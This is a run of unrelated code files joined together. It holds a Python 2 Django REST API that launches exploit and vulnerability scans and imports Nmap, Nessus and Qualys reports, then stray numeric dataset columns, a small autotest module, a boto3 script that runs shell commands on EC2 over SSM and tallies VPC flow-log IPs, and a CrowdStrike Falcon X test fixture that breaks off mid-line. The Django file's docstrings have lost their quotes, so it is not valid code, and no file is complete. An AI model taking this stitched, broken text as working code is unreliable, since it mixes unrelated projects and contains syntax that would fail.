return_response["status"]="failure" return_response["errors"]=str(ee) return Response(JSONRenderer().render(return_response)) if 1:#serialize.is_valid(): return_response["status"]="success" #return_response["data"]=serialize.data #Note Both work the same !!! return_response["data"]=config_list#serialize.data #Thus while reteriving data we can simply send back query list to json data !!.No need to build wrapper else: return_response["status"]="failure" return_response["errors"]=serialize.errors return Response(JSONRenderer().render(return_response)) else: print "\n\nReturning default config \n\n" return Response(JSONRenderer().render(default_config)) class LaunchExploits(APIView): Objective : The objective of this class is to serve the Post method which would take the project id as input and would start vulneraibility scanning for the obtained project id. It invokes Gui_main_driver.py file to start vulneribility scanning. In order to understand about input given to this method and response returned read API documentation. def post(self,request,format=None): try: self.project_obj=IPtable.Projects() obj=Gui_main_driver.Gui_main() exploit_data=Exploits(data=request.data) return_response={} if(exploit_data.is_valid()): project_id=exploit_data.data["project_id"] continue_=True delete=False get_default_config=False threading=exploit_data.data["threading"] result=self.project_obj.completed_projects(int(project_id)) if result[0] > 0: exploit_status=obj.LaunchExploits(project_id,continue_,delete,get_default_config,threading) return_response["status"]="success" return_response["value"]=exploit_status else: return_response["status"]="failure" return_response["value"]="In valid project id ." else: return_response["status"]="failure" return_response["errors"]=exploit_data.errors return Response(JSONRenderer().render(return_response)) except Exception,ee: return_response={} return_response["status"]="failure" return_response["value"]=str(ee) return Response(JSONRenderer().render(return_response)) class LaunchExploitsConcurrent(APIView): Objective : The objective of this class is to serve the Post method which would take the project id as input and would start vulneraibility scanning for the obtained project id. It invokes Gui_main_driver.py file to start vulneribility scanning in concurrent mode. In order to understand about input given to this method and response returned read API documentation. def post(self,request,format=None): try: obj=Gui_main_driver.Gui_main() exploit_data=ExploitsConcurrent(data=request.data) return_response={} if(exploit_data.is_valid()): project_id=exploit_data.data["project_id"] continue_=True delete=False get_default_config=False threading=exploit_data.data["threading"] if threading==True: threading=False rec_list=exploit_data.data["record_list"] exploit_status=obj.LaunchExploits(project_id,continue_,delete,get_default_config,False,True,rec_list) return_response["status"]="success" return_response["value"]=exploit_status else: return_response["status"]="failure" return_response["errors"]=exploit_data.errors return Response(JSONRenderer().render(return_response)) except Exception,ee: return_response={} return_response["status"]="failure" return_response["value"]=str(ee) return Response(JSONRenderer().render(return_response)) class DownloadAllMannual(APIView): Objective : The objective of this class is to serve the Post method which would take the project id as input and would return a zipped folder containing all the reports, pcap files and etc. In order to understand about input given to this method and response returned read API documentation. def __init__(self): self.folder_dir=os.path.dirname(os.path.realpath(__file__)) self.results_path=os.path.join(self.folder_dir,"Results") self.folder_name=os.path.join(self.results_path,"Data_") def zipdir(self,path,ziph): for dirname,subdirs,files in os.walk(path): abs_path_dir=dirname rel_path_dir=abs_path_dir[len(path)+len(os.sep):] print "ADd dir is :"+str(rel_path_dir) for file_ in files: abs_path=os.path.join(dirname,file_) rel_path=abs_path[len(path)+len(os.sep):] ziph.write(abs_path,rel_path) def init_project_directory(self,project_id): #print "Initialising parent directory " try: if not os.path.exists(self.folder_name+str(project_id)): return -1 return 1; except Exception ,ee: #self.print_Error("Error while creating directory !!"+str(ee)) print "EX "+str(ee) return -1 def post(self,request,format=None): self.project_obj=IPtable.Projects() try: return_response={} to_validate=General(data=request.data) if to_validate.is_valid(): print str(to_validate.data) project_id=to_validate.data["project_id"] result=self.project_obj.completed_projects(int(project_id)) if result[0] > 0: status=self.init_project_directory(project_id) if status != -1: self.data_path=self.folder_name+str(project_id) zip_folder_name="Data_"+str(project_id)+".zip" zip_folder_creation_path=os.path.join(self.results_path,zip_folder_name) zip_folder_path=self.data_path #file to be zipped zipf=zipfile.ZipFile(zip_folder_creation_path,'w',zipfile.ZIP_DEFLATED) self.zipdir(zip_folder_path,zipf) zipf.close() zip_file=open(zip_folder_creation_path,'rb') resp=HttpResponse(FileWrapper(zip_file),content_type="application/zip") resp['content-Disposition']='attachment;filename="%s"'%'text.zip' return resp else: return_response["status"]="failure" return_response["value"]="No data is present for the given project id :" else: return_response["status"]="failure" return_response["value"]="In valid project id ." else: return_response["status"]="failure" return_response["value"]=to_validate.errors return Response(JSONRenderer().render(return_response)) except Exception ,ee: return_response={} return_response["status"]="failure" return_response["value"]=str(ee) return Response(JSONRenderer().render(return_response)) class MergeReports(APIView): Objective : The objective of this class is to serve the Post method which would take the project id as input and would return a zipped folder containing the merged qualys ,nessus and mannual vul scanning report. In order to understand about input given to this method and response returned read API documentation. def post(self,request,format=None): obj=Report_orchestration.Report_merger(True,True) self.project_obj=IPtable.Projects() try: return_response={} to_validate=Merge_reports(data=request.data) if to_validate.is_valid(): print str(to_validate.data) project_id=to_validate.data["project_id"] format_=to_validate.data["report_format"] #obj=Report_merger(True,True) result=self.project_obj.completed_projects(int(project_id)) if result[0] > 0: resp=obj.generate_report(int(project_id),format_) if resp["status"]=="success": return_response["status"]="success" return_response["value"]=resp["value"] zip_file=open(resp["value"],'rb') resp=HttpResponse(FileWrapper(zip_file),content_type="application/zip") resp['content-Disposition']='attachment;filename="%s"'%'text.zip' return resp else: return_response["status"]="failure" return_response["value"]=resp["value"] else: return_response["status"]="failure" return_response["value"]="In valid project id ." else: return_response["status"]="failure" return_response["value"]=to_validate.errors return Response(JSONRenderer().render(return_response)) except Exception ,ee: return_response={} return_response["status"]="failure" return_response["value"]=str(ee) return Response(JSONRenderer().render(return_response)) class UploadQualysXml(APIView): Objective : The objective of this class is to serve the Post method which would take the qualys xml report and would parse it and store it in database table. In order to understand about input given to this method and response returned read API documentation. parser_classes=(MultiPartParser,) def post(self,request,format=None): try: print "Inside Qualys XML :" to_validate=UploadXml(data=request.data) return_response={} if to_validate.is_valid(): file_obj=request.FILES['filename'] F_validator=FileValidator.FileValidator() is_xml=F_validator.validateXML(file_obj) if is_xml: #print "Validation results are :-->" +str(is_xml) print str(file_obj.name) folder_dir=os.path.dirname(os.path.realpath(__file__)) results_path=os.path.join(folder_dir,"XML_reports") un_id=uuid.uuid1() pid=to_validate.data["project_name"] xml_file_name=str(file_obj.name)+"_pid:"+str(pid)+"_uid:"+str(un_id)+".xml" xml_file_path=os.path.join(results_path,xml_file_name) with open (xml_file_path,'wb') as out_file: for chunks in file_obj.chunks(): out_file.write(chunks) print "uploaded File :--> "+str(xml_file_path) qualys=Qualys_parser.QualysParser() qualys_results=None val=qualys.parse(xml_file_path,int(pid)) if val["status"]=="success": return_response["status"]="success" return_response["value"]=str(pid) else: return_response["status"]="failure" return_response["value"]=str(val["value"]) os.remove(xml_file_path) print "File removed" else: return_response["status"]="failure" return_response["value"]="Supplied file was not XML ,only XML type accepted" else: return_response["status"]="failure" return_response["value"]=to_validate.errors return Response(JSONRenderer().render(return_response)) except Exception ,ee: return_response={} return_response["status"]="failure" return_response["value"]=str(ee) return Response(JSONRenderer().render(return_response)) class ReportOnFly(APIView): Objective : The objective of this class is to serve the Post method which would take either qualys or nessus report as input at one time and would parse the report and map cve's with exploits and would return final copy of integrated report in the format chosen by user. In order to understand about input given to this method and response returned read API documentation. parser_classes=(MultiPartParser,) def post(self,request,format=None): try: to_validate=OnFly(data=request.data) return_response={} if to_validate.is_valid(): file_obj=request.FILES['filename'] F_validator=FileValidator.FileValidator() is_xml=F_validator.validateXML(file_obj) if is_xml: valid=["nessus","qualys"] if (to_validate.data["source"] not in valid): return_response["status"]="failure" return_response["value"]="The source of report must be either qualys or nessus" return Response(JSONRenderer().render(return_response)) print str(file_obj.name) folder_dir=os.path.dirname(os.path.realpath(__file__)) results_path=os.path.join(folder_dir,"XML_reports") un_id=uuid.uuid1() xml_file_name=str(file_obj.name)+"_uid:"+str(un_id)+".xml" xml_file_path=os.path.join(results_path,xml_file_name) with open (xml_file_path,'wb') as out_file: for chunks in file_obj.chunks(): out_file.write(chunks) print "uploaded File -"+str(xml_file_path) if to_validate.data["source"]=="nessus": obj=Exploit_mapping.Exploit_mapping(xml_file_path) else: obj=Exploit_mapping.Exploit_mapping('',xml_file_path) val=obj.generate_report(to_validate.data["report_format"]) os.remove(xml_file_path) if val["status"]=="success": print "Success reutrned" #return_response["status"]="success" #return_response["value"]=str(pid) return_response["status"]="success" return_response["value"]=val["value"] zip_file=open(val["value"],'rb') resp=HttpResponse(FileWrapper(zip_file),content_type="application/zip") resp['content-Disposition']='attachment;filename="%s"'%'Report.zip' return resp else: return_response["status"]="failure" return_response["value"]=str(val["value"]) else: return_response["status"]="failure" return_response["value"]="Supplied file was not XML ,only XML type accepted" else: return_response["status"]="failure" return_response["value"]=to_validate.errors return Response(JSONRenderer().render(return_response)) except Exception ,ee: print "Inside exception :"+str(ee) return_response={} return_response["status"]="failure" return_response["value"]=str(ee) return Response(JSONRenderer().render(return_response)) #return Response(status=204) class UploadNessusXml(APIView): Objective : The objective of this class is to serve the Post method which would take the nessus xml report and would parse it and store it in database table. In order to understand about input given to this method and response returned read API documentation. parser_classes=(MultiPartParser,) def post(self,request,format=None): try: to_validate=UploadXml(data=request.data) return_response={} if to_validate.is_valid(): file_obj=request.FILES['filename'] F_validator=FileValidator.FileValidator() is_xml=F_validator.validateXML(file_obj) if is_xml: #print "Validation results are :-->" +str(is_xml) print str(file_obj.name) folder_dir=os.path.dirname(os.path.realpath(__file__)) results_path=os.path.join(folder_dir,"XML_reports") un_id=uuid.uuid1() pid=to_validate.data["project_name"] xml_file_name=str(file_obj.name)+"_pid:"+str(pid)+"_uid:"+str(un_id)+".nessus" xml_file_path=os.path.join(results_path,xml_file_name) with open (xml_file_path,'wb') as out_file: for chunks in file_obj.chunks(): out_file.write(chunks) print "uploaded File -"+str(xml_file_path) nessus=Nessus_parser.Nessus_Parser() nessus_results=None # ('m.nessus','0','',"return")) val=nessus.parse(xml_file_path,int(pid)) if val["status"]=="success": return_response["status"]="success" return_response["value"]=str(pid) else: return_response["status"]="failure" return_response["value"]=str(val["value"]) os.remove(xml_file_path) print "File removed" else: return_response["status"]="failure" return_response["value"]="Supplied file was not XML ,only XML type accepted" else: return_response["status"]="failure" return_response["value"]=to_validate.errors return Response(JSONRenderer().render(return_response)) except Exception ,ee: return_response={} return_response["status"]="failure" return_response["value"]=str(ee) return Response(JSONRenderer().render(return_response)) #return Response(status=204) class UploadNmapXml(APIView): Objective : The objective of this class is to serve the Post method which would take the nmap xml report and would parse it and store it in database table. In order to understand about input given to this method and response returned read API documentation. parser_classes=(MultiPartParser,) def post(self,request,format=None): try: IPtable_obj=IPtable.IPtable() to_validate=UploadXml(data=request.data) return_response={} if to_validate.is_valid(): file_obj=request.FILES['filename'] F_validator=FileValidator.FileValidator() is_xml=F_validator.validateXML(file_obj) if is_xml: #print "Validation results are :-->" +str(is_xml) print str(file_obj.name) folder_dir=os.path.dirname(os.path.realpath(__file__)) results_path=os.path.join(folder_dir,"XML_reports") pid=IPtable_obj.Insert(to_validate.data["project_name"],'import',str(file_obj.name)) if (pid==-1): return_response["status"]="failure" return_response["value"]="Some error occured while inserting details" return Response(JSONRenderer().render(return_response)) xml_file_name=str(file_obj.name)+"_"+str(pid) xml_file_path=os.path.join(results_path,xml_file_name) with open (xml_file_path,'wb') as out_file: for chunks in file_obj.chunks(): out_file.write(chunks) print "uploaded" val=nmap_parser.Import('gui',xml_file_path,to_validate.data["project_name"],pid) if val["status"]=="success": return_response["status"]="success" return_response["value"]=str(pid) else: return_response["status"]="failure" return_response["value"]=str(val["value"]) else: return_response["status"]="failure" return_response["value"]="Supplied file was not XML ,only XML type accepted" else: return_response["status"]="failure" return_response["value"]=to_validate.errors return Response(JSONRenderer().render(return_response)) except Exception ,ee: return_response={} return_response["status"]="failure" return_response["value"]=str(ee) return Response(JSONRenderer().render(return_response)) class Reconfigure(): Objective : The objective of this class is to help in reconfiguration of the input given by user for updating configuration.It does not interact with the web service directly. In order to understand about input given to this method and response returned read API documentation. def configure_response(self,default_config): print "IN configure response !" config_list=[] config_dict={} record_list=[] return_val=[] for config in default_config["value"]: #print str(config) config_dict={} #print str(project[0])+ " " +str(project[1]) config_dict["id"]=config[0] record_list.append(config[0]) config_dict["project_id"]=config[1] config_dict["host"]=config[2] config_dict["port"]=config[3] config_dict["service"]=config[4] config_dict["project_status"]=config[5] config_dict["Commands"]=config[6] config_dict["reconfig_service"]=False config_dict["reconfig_exploit"]=False config_list.append(config_dict) return_val.append(config_dict) return_val.append(config_list) return_val.append(record_list) return return_val class PollingConfig(APIView): Objective : The objective of this class is to serve the Post-Get methods which would take the project id and would return the configuration for the vul scanning for the records for which the discovery would be over. This is essentially used in concurrent mode In order to understand about input given to this method and response returned read API documentation. def get(self,request,format=None): try: return_response={} project_id=request.data["project_id"] obj=Polling.PollingExploits(int(project_id)) continue_=False delete=False default_config=obj.getConfiguration() if default_config["status"]=="reconfig": exp_obj=Reconfigure() resp=exp_obj.configure_response(default_config) config_dict=resp[0] config_list=resp[1] record_list=resp[2] return_response["status"]="success" #return_response["data"]=serialize.data #Note Both work the same !!! return_response["data"]=config_list return_response["record_list"]=record_list return Response(JSONRenderer().render(return_response)) else: print "\n\n Returning default config \n\n" return Response(JSONRenderer().render(default_config)) except Exception ,ee: return_response["status"]="failure" return_response["data"]=str(ee) return Response(JSONRenderer().render(return_response)) def post(self,request,format=None): try: return_response={} update_data=Polling_(data=request.data) return_response={} if(update_data.is_valid()): project_id=update_data.data["project_id"] record_list=update_data.data["record_list"] obj=Polling.PollingExploits(int(project_id)) return_response=obj.UpdateStatus(record_list) else: return_response["status"]="failure" return_response["errors"]=update_data.errors return Response(JSONRenderer().render(return_response)) except Exception ,ee: return_response["status"]="failure" return_response["value"]=str(ee) return Response(JSONRenderer().render(return_response)) class PercentPolling(APIView): Objective : The objective of this class is to serve the Get-Post method which would return teh percantage of the completion in case of discovery and vulnerability scanning In order to understand about input given to this method and response returned read API documentation. def get(self,request,format=None): try: self.project_obj=IPtable.Projects() return_response={} poll_data=Poll_me(data=request.data) if poll_data.is_valid(): project_id=request.data["project_id"] result=self.project_obj.completed_projects(int(project_id)) if result[0] > 0: obj=IPtable.Projects() continue_=False delete=False valid_source=["discovery","scan"] if request.data["source"] not in valid_source: return_response["status"]="failure" return_response["data"]="The source can either be scan or discovery" return_response["value"]="The source can either be scan or discovery" return Response(JSONRenderer().render(return_response)) poll_results=obj.Poll(int(project_id),request.data["source"]) if poll_results != -1: return_response["status"]="success" #return_response["data"]=serialize.data #Note Both work the same !!! return_response["data"]=poll_results[0] return_response["value"]=poll_results[0] return Response(JSONRenderer().render(return_response)) else: return_response["status"]="failure" return_response["value"]="Cant fetch Polling status.Kindly check supplied params" return_response["data"]="Cant fetch Polling status.Kindly check supplied params" return Response(JSONRenderer().render(return_response)) else: return_response["status"]="failure" return_response["value"]="In valid project id" return_response["data"]="In valid project id" return Response(JSONRenderer().render(return_response)) else: return_response["status"]="failure" return_response["data"]=poll_data.errors return_response["errors"]=poll_data.errors return_response["value"]=poll_data.errors return Response(JSONRenderer().render(return_response)) except Exception ,ee: return_response["status"]="failure" return_response["data"]=str(ee) return Response(JSONRenderer().render(return_response)) class PollingExploit(APIView): Objective : The objective of this class is to poll the vulnerability scanning and return results. In order to understand about input given to this method and response returned read API documentation. def get(self,request,format=None): try: self.project_obj=IPtable.Projects() return_response={} project_id=request.data["project_id"] result=self.project_obj.completed_projects(int(project_id)) if result[0] > 0: obj=Polling.PollingExploits(int(project_id)) continue_=False delete=False default_config=obj.ExploitPoll() if default_config["status"]=="success": exp_obj=Reconfigure() resp=exp_obj.configure_response(default_config) config_dict=resp[0] config_list=resp[1] record_list=resp[2] return_response["status"]="success" #return_response["data"]=serialize.data #Note Both work the same !!! return_response["data"]=config_list return_response["record_list"]=record_list return Response(JSONRenderer().render(return_response)) else: print "\n\n Returning default config \n\n" return Response(JSONRenderer().render(default_config)) else: return_response["status"]="failure" return_response["data"]="In valid project id" return Response(JSONRenderer().render(return_response)) except Exception ,ee: return_response["status"]="failure" return_response["data"]=str(ee) return Response(JSONRenderer().render(return_response)) def post(self,request,format=None): try: return_response={} update_data=Polling_(data=request.data) return_response={} if(update_data.is_valid()): project_id=update_data.data["project_id"] record_list=update_data.data["record_list"] obj=Polling.PollingExploits(int(project_id)) return_response=obj.UpdateStatusExploit(record_list) else: return_response["status"]="failure" return_response["errors"]=update_data.errors return Response(JSONRenderer().render(return_response)) except Exception ,ee: return_response["status"]="failure" return_response["value"]=str(ee) return Response(JSONRenderer().render(return_response)) class ExploitConfigConc(APIView): Objective : The objective of this class is to serve Get method which would poll the backend code to fetch results of vulnerability scanning when mode is concurrent. In order to understand about input given to this method and response returned read API documentation. def get(self,request,format=None): try: return_response={} obj=Gui_main_driver.Gui_main() project_id=request.data["project_id"] continue_=False delete=False default_config=obj.getDefaultConfiguration(project_id,'','',True,True,'') if default_config["status"]=="reconfig": exp_obj=Reconfigure() resp=exp_obj.configure_response(default_config) config_dict=resp[0] config_list=resp[1] record_list=resp[2] return_response["status"]="success" #return_response["data"]=serialize.data #Note Both work the same !!! return_response["data"]=config_list return_response["record_list"]=record_list return Response(JSONRenderer().render(return_response)) else: print "\n\n Returning default config \n\n" return Response(JSONRenderer().render(default_config)) except Exception ,ee: #except Exception ,ee: return_response["status"]="failure" return_response["data"]=str(ee) return Response(JSONRenderer().render(return_response)) """
35.556548
247
0.731376
6,356
47,788
5.309314
0.068282
0.171339
0.05571
0.069223
0.852131
0.834084
0.817786
0.802228
0.789279
0.778314
0
0.002447
0.153553
47,788
1,343
248
35.583023
0.831817
1.562401
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
8
375286b65637da0b80f9c862c886b4a0a94d6014
96
py
Python
pyplus/autotest/__init__.py
tornadoyi/pyplus
4b98f0eff9c2f027a601ade220c2aaf1769850fd
[ "Apache-2.0" ]
2
2018-09-26T14:01:12.000Z
2020-04-02T13:44:53.000Z
pyplus/autotest/__init__.py
tornadoyi/pyplus
4b98f0eff9c2f027a601ade220c2aaf1769850fd
[ "Apache-2.0" ]
null
null
null
pyplus/autotest/__init__.py
tornadoyi/pyplus
4b98f0eff9c2f027a601ade220c2aaf1769850fd
[ "Apache-2.0" ]
null
null
null
from .manager import Manager def add(*args, **kwargs): return Manager().add(*args, **kwargs)
16
63
0.6875
13
96
5.076923
0.615385
0.212121
0.393939
0
0
0
0
0
0
0
0
0
0.135417
96
5
64
19.2
0.795181
0
0
0
0
0
0
0
0
0
0
0
0
1
0.5
true
0
0.5
0.5
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
1
0
0
0
8
3753af53db2dc239bd9271843290bf411e309d23
10,911
py
Python
test/myproject/map/python_function/EC2-logs-yeonseok.py
d0r6y/CloudKloud
33747e208bd625a6c80bae0f87a0997181be4298
[ "MIT" ]
null
null
null
test/myproject/map/python_function/EC2-logs-yeonseok.py
d0r6y/CloudKloud
33747e208bd625a6c80bae0f87a0997181be4298
[ "MIT" ]
null
null
null
test/myproject/map/python_function/EC2-logs-yeonseok.py
d0r6y/CloudKloud
33747e208bd625a6c80bae0f87a0997181be4298
[ "MIT" ]
null
null
null
import boto3 import json import time from datetime import datetime nowtime = datetime.now() AWS_ACCESS_KEY_ID ="" AWS_SECRET_ACCESS_KEY = "" AWS_DEFAULT_REGION = "ap-northeast-2" # 이건 VPC Flow 틀어놓은 개인계정 logs = boto3.client('logs', aws_access_key_id=AWS_ACCESS_KEY_ID, aws_secret_access_key=AWS_SECRET_ACCESS_KEY, region_name=AWS_DEFAULT_REGION) ec2 = boto3.resource('ec2', aws_access_key_id=AWS_ACCESS_KEY_ID, aws_secret_access_key=AWS_SECRET_ACCESS_KEY, region_name=AWS_DEFAULT_REGION ) ssm_client = boto3.client('ssm', aws_access_key_id=AWS_ACCESS_KEY_ID, aws_secret_access_key=AWS_SECRET_ACCESS_KEY, region_name=AWS_DEFAULT_REGION ) ''' 비정상적 포트로 통신 25번 포트로 통신 (Spam bot) 알려진 malicious IP와의 통신 대량의 트래픽 발생 (DOS) 네트워크 스캐닝 IP 기반 접근제어 부재 의심스런 도메인과의 통신 사용하지 않는 프로토콜 사용 인스턴스 시작/종료 시점 ''' ''' 최종 결과 형식 result = {"timestamp": i['timestamp'], "message": i['message']} print(result) ''' print("== EC2 인스턴스 목록 ==") for instance in ec2.instances.all(): nowtime = datetime.now() result = {"timestamp": "%s-%s-%sT%s:%s:%s.%sZ" %(nowtime.year, nowtime.month, nowtime.day, nowtime.hour, nowtime.minute, nowtime.second, str(nowtime.microsecond)[0:2]), "message": instance.id} print(result) print("== 실행 중인 EC2 인스턴스 목록 ==") for instance in ec2.instances.all(): if instance.state['Name'] == 'running': result = {"timestamp": "%s-%s-%sT%s:%s:%s.%sZ" %(nowtime.year, nowtime.month, nowtime.day, nowtime.hour, nowtime.minute, nowtime.second, str(nowtime.microsecond)[0:2]), "message": instance.id} print(result) print("== 일시 정지 중인 EC2 인스턴스 목록 ==") for instance in ec2.instances.all(): if instance.state['Name'] == 'stopped': result = {"timestamp": "%s-%s-%sT%s:%s:%s.%sZ" %(nowtime.year, nowtime.month, nowtime.day, nowtime.hour, nowtime.minute, nowtime.second, str(nowtime.microsecond)[0:2]), "message": instance.id} print(result) target_id = "i-0809bd00775331efb" print("== 전체 보안 그룹명 ==") sgs = list(ec2.security_groups.all()) all_sgs = set([sg.group_name for sg in sgs]) result = {"timestamp": "%s-%s-%sT%s:%s:%s.%sZ" %(nowtime.year, nowtime.month, nowtime.day, nowtime.hour, nowtime.minute, nowtime.second, str(nowtime.microsecond)[0:2]), "message": all_sgs} print(result) response = ssm_client.send_command( InstanceIds=[ target_id ], DocumentName="AWS-RunShellScript", Comment="Code to run" , Parameters={ "commands": ["uname -a"] } ) cmd_id= response['Command']['CommandId'] time.sleep(2) # 이거 안하면 get_command_invocation에서 에러 뿜뿜함 response = ssm_client.get_command_invocation(CommandId=cmd_id, InstanceId=target_id) print("== 시스템 정보 ==") result = {"timestamp":response['ExecutionStartDateTime'] , "message":response['StandardOutputContent']} print(result) response = ssm_client.send_command( InstanceIds=[ target_id ], DocumentName="AWS-RunShellScript", Comment="Code to run" , Parameters={ "commands": ["netstat -tnl | tail -n+2"] } ) cmd_id= response['Command']['CommandId'] time.sleep(2) response = ssm_client.get_command_invocation(CommandId=cmd_id, InstanceId=target_id) print("== 포트 연결 현황 ==") result = {"timestamp":response['ExecutionStartDateTime'] , "message":response['StandardOutputContent']} print(result) response = ssm_client.send_command( InstanceIds=[ target_id ], DocumentName="AWS-RunShellScript", Comment="Code to run" , Parameters={ "commands": ["netstat -tnl | tail -n+2"] } ) cmd_id= response['Command']['CommandId'] time.sleep(2) response = ssm_client.get_command_invocation(CommandId=cmd_id, InstanceId=target_id) print("== 활성화된 포트 리스트 ==") ContentsAsList = response['StandardOutputContent'].split(" ") ports = [] for contents in ContentsAsList: if ":" in contents: ports.append(contents) for place in ports: result = {"timestamp":response['ExecutionStartDateTime'] , "message":place[place.find(":")+1::]} print(result) response = ssm_client.send_command( InstanceIds=[ target_id ], DocumentName="AWS-RunShellScript", Comment="Code to run" , Parameters={ "commands": ["last"] } ) cmd_id= response['Command']['CommandId'] time.sleep(2) response = ssm_client.get_command_invocation(CommandId=cmd_id, InstanceId=target_id) print("== 쉘 접속자 현황 ==") result = {"timestamp":response['ExecutionStartDateTime'] , "message":response['StandardOutputContent']} print(result) response = ssm_client.send_command( InstanceIds=[ target_id ], DocumentName="AWS-RunShellScript", Comment="Code to run" , Parameters={ "commands": ["curl bot.whatismyipaddress.com"] } ) cmd_id= response['Command']['CommandId'] time.sleep(2) response = ssm_client.get_command_invocation(CommandId=cmd_id, InstanceId=target_id) print("== 퍼블릭 아이피 주소 ==") result = {"timestamp":response['ExecutionStartDateTime'] , "message":response['StandardOutputContent']} print(result) response = ssm_client.send_command( InstanceIds=[ target_id ], DocumentName="AWS-RunShellScript", Comment="Code to run" , Parameters={ "commands": ["last | grep 'reboot'"] } ) cmd_id= response['Command']['CommandId'] time.sleep(2) response = ssm_client.get_command_invocation(CommandId=cmd_id, InstanceId=target_id) print("== 재부팅 로그 ==") result = {"timestamp":response['ExecutionStartDateTime'] , "message":response['StandardOutputContent']} print(result) srciptotal = dict() def IPcommLogs(): cnt = 0 next_token = '' while True: if next_token: log = logs.filter_log_events( logGroupName='VPC-flow', filterPattern='', nextToken=next_token ) else: log = logs.filter_log_events( logGroupName='VPC-flow', filterPattern='' ) # 해당 로그 기반으로 기능 구현: 특정 아이피에서 들어온 횟수 for i in range(0, len(log['events'])-1): list_mid = (log['events'][i]['message']).split(" ") srcip = str(list_mid[3]) dstip = str(list_mid[4]) if srcip not in srciptotal: srciptotal[srcip] = 1 else: srciptotal[srcip] += 1 print ("== 특정 아이피에서 들어온 횟수 ==") for key, value in srciptotal.items(): result = {"timestamp": "%s-%s-%sT%s:%s:%s.%sZ" %(nowtime.year, nowtime.month, nowtime.day, nowtime.hour, nowtime.minute, nowtime.second, str(nowtime.microsecond)[0:2]), "message":(str(key) + ": " + str(value) + "회")} print(result) jsonoutput = json.dumps(result) if log.get("nextToken"): next_token = log["nextToken"] else: break return jsonoutput def SESSIONcommLogs(): cnt = 0 next_token = '' while True: if next_token: log = logs.filter_log_events( logGroupName='VPC-flow', filterPattern='', nextToken=next_token ) else: log = logs.filter_log_events( logGroupName='VPC-flow', filterPattern='' ) # 특정 세션간 통신된 횟수 for i in range(0, len(log['events'])-1): list_mid = (log['events'][i]['message']).split(" ") srcip = str(list_mid[3]) dstip = str(list_mid[4]) if (srcip + " <-> " + dstip) not in srciptotal: srciptotal[srcip + " <-> " + dstip] = 1 else: srciptotal[srcip + " <-> " + dstip] += 1 print ("== 특정 세션간 통신된 횟수 ==") for key, value in srciptotal.items(): result = {"timestamp": "%s-%s-%sT%s:%s:%s.%sZ" %(nowtime.year, nowtime.month, nowtime.day, nowtime.hour, nowtime.minute, nowtime.second, str(nowtime.microsecond)[0:2]), 'message':(str(key) + " : " + str(value), "회")} print(result) jsonoutput = json.dumps(result) if log.get("nextToken"): next_token = log["nextToken"] else: break return jsonoutput def 다른commLogs(): cnt = 0 next_token = '' while True: if next_token: log = logs.filter_log_events( logGroupName='VPC-flow', filterPattern='', nextToken=next_token ) else: log = logs.filter_log_events( logGroupName='VPC-flow', filterPattern='' ) # 특정 세션간 통신된 횟수 for i in range(0, len(log['events'])-1): list_mid = (log['events'][i]['message']).split(" ") srcip = str(list_mid[3]) dstip = str(list_mid[4]) if (srcip + " <-> " + dstip) not in srciptotal: srciptotal[srcip + " <-> " + dstip] = 1 else: srciptotal[srcip + " <-> " + dstip] += 1 print ("== 특정 세션간 통신된 횟수 ==") for key, value in srciptotal.items(): result = {"timestamp": "%s-%s-%sT%s:%s:%s.%sZ" %(nowtime.year, nowtime.month, nowtime.day, nowtime.hour, nowtime.minute, nowtime.second, str(nowtime.microsecond)[0:2]), 'message':(str(key) + " : " + str(value), "회")} print(result) jsonoutput = json.dumps(result) if log.get("nextToken"): next_token = log["nextToken"] else: break return jsonoutput
36.614094
229
0.524425
1,116
10,911
4.994624
0.184588
0.007535
0.036598
0.017582
0.85235
0.834051
0.834051
0.834051
0.827054
0.797632
0
0.010066
0.344423
10,911
297
230
36.737374
0.769188
0.011181
0
0.730924
0
0
0.145798
0.040789
0
0
0
0
0
1
0.012048
false
0
0.016064
0
0.040161
0.104418
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
3798dec12ccebabee92bafb450ba38c1bfdbf844
44,839
py
Python
Packs/CrowdStrikeFalconX/Integrations/CrowdStrikeFalconX/TestsInput/context.py
jrauen/content
81a92be1cbb053a5f26a6f325eff3afc0ca840e0
[ "MIT" ]
1
2021-11-02T05:36:38.000Z
2021-11-02T05:36:38.000Z
Packs/CrowdStrikeFalconX/Integrations/CrowdStrikeFalconX/TestsInput/context.py
jrauen/content
81a92be1cbb053a5f26a6f325eff3afc0ca840e0
[ "MIT" ]
61
2021-10-07T08:54:38.000Z
2022-03-31T10:25:35.000Z
Packs/CrowdStrikeFalconX/Integrations/CrowdStrikeFalconX/TestsInput/context.py
jrauen/content
81a92be1cbb053a5f26a6f325eff3afc0ca840e0
[ "MIT" ]
1
2021-12-20T15:12:22.000Z
2021-12-20T15:12:22.000Z
from CommonServerPython import DemistoException SEND_UPLOADED_FILE_TO_SENDBOX_ANALYSIS_CONTEXT = { 'submitted_id': 'id', 'state': 'created', 'created_timestamp': '2020-05-12T15:34:11Z', 'environment_id': 160, 'sha256': 'sha256' } SEND_URL_TO_SANDBOX_ANALYSIS_CONTEXT = { 'submitted_id': 'id', 'state': 'created', 'created_timestamp': '2020-05-12T16:40:52Z', 'environment_id': 160 } GET_REPORT_SUMMARY_CONTEXT = { 'File(val.MD5 && val.MD5 == obj.MD5 || val.SHA1 && val.SHA1 == obj.SHA1 ' '|| val.SHA256 && val.SHA256 == obj.SHA256 || val.SHA512 && val.SHA512 == obj.SHA512 ' '|| val.CRC32 && val.CRC32 == obj.CRC32 || val.CTPH && val.CTPH == obj.CTPH' ' || val.SSDeep && val.SSDeep == obj.SSDeep)': [ {'SHA256': 'sha256', 'Company': 'Microsoft Corporation', 'ProductName': 'Microsoft Windows Operating System', 'Signature': {'Authentihash': '', 'Copyright': 'Microsoft Corporation. All rights reserved.', 'Description': 'Microsoft Smartcard Certificate Propagation Service', 'FileVersion': '10.0.19041.844 (WinBuild.160101.0800)', 'InternalName': 'certprop.dll', 'OriginalName': 'certprop.dll'}, 'Hashes': [{'type': 'SHA256', 'value': 'sha256'}] } ], 'DBotScore(val.Indicator && val.Indicator == 